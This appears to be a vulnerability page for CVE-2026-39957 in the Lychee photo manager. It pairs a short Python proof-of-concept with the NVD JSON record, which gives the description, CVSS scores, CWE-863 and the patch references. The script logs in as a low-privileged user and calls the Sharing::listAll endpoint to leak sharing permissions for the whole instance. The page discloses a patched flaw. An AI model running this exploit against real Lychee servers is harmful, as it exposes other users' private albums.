CVE-2026-39957

# Proof of Concept for CVE-2026-39957 # Exploitation requires a non-admin user with upload permission. import requests def exploit(target, username, password): session = requests.Session() # Step 1: Authenticate as low-privileged user login_url = f"{target}/api/Session::login" creds = {"username": username, "password": password} login_resp = session.post(login_url, json=creds) if login_resp.status_code != 200: print("Login failed") return # Step 2: Access the vulnerable endpoint # The vulnerability is in the backend logic, no special payload needed. vuln_url = f"{target}/api/Sharing::listAll" response = session.get(vuln_url) if response.status_code == 200: data = response.json() print("[+] Successfully exploited! Leaked Sharing Permissions:") print(data) else: print("Exploit failed") # Usage # exploit("http://lychee-instance.com", "attacker", "password")

{"cve": {"id": "CVE-2026-39957", "sourceIdentifier": "[email protected]", "published": "2026-04-09T17:16:30.110", "lastModified": "2026-04-23T15:05:47.130", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Lychee is a free, open-source photo-management tool. Prior to 7.5.4, a SQL operator-precedence bug in SharingController::listAll() causes the orWhereNotNull('user_group_id') clause to escape the ownership filter applied by the when() block. Any authenticated non-admin user with upload permission who owns at least one album can retrieve all user-group-based sharing permissions across the entire instance, including private albums owned by other users. This vulnerability is fixed in 7.5.4."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lycheeorg:lychee:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.5.4", "matchCriteriaId": "B5931780-0B36-422D-9C0B-97712E99220C"}]}]}], "references": [{"url": "https://github.com/LycheeOrg/Lychee/commit/76a3f0513eca6458bf7f8c337c1ad65e59b22bcb", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/LycheeOrg/Lychee/pull/4264", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/LycheeOrg/Lychee/security/advisories/GHSA-4v4c-g2jv-4g25", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory", "Patch"]}]}}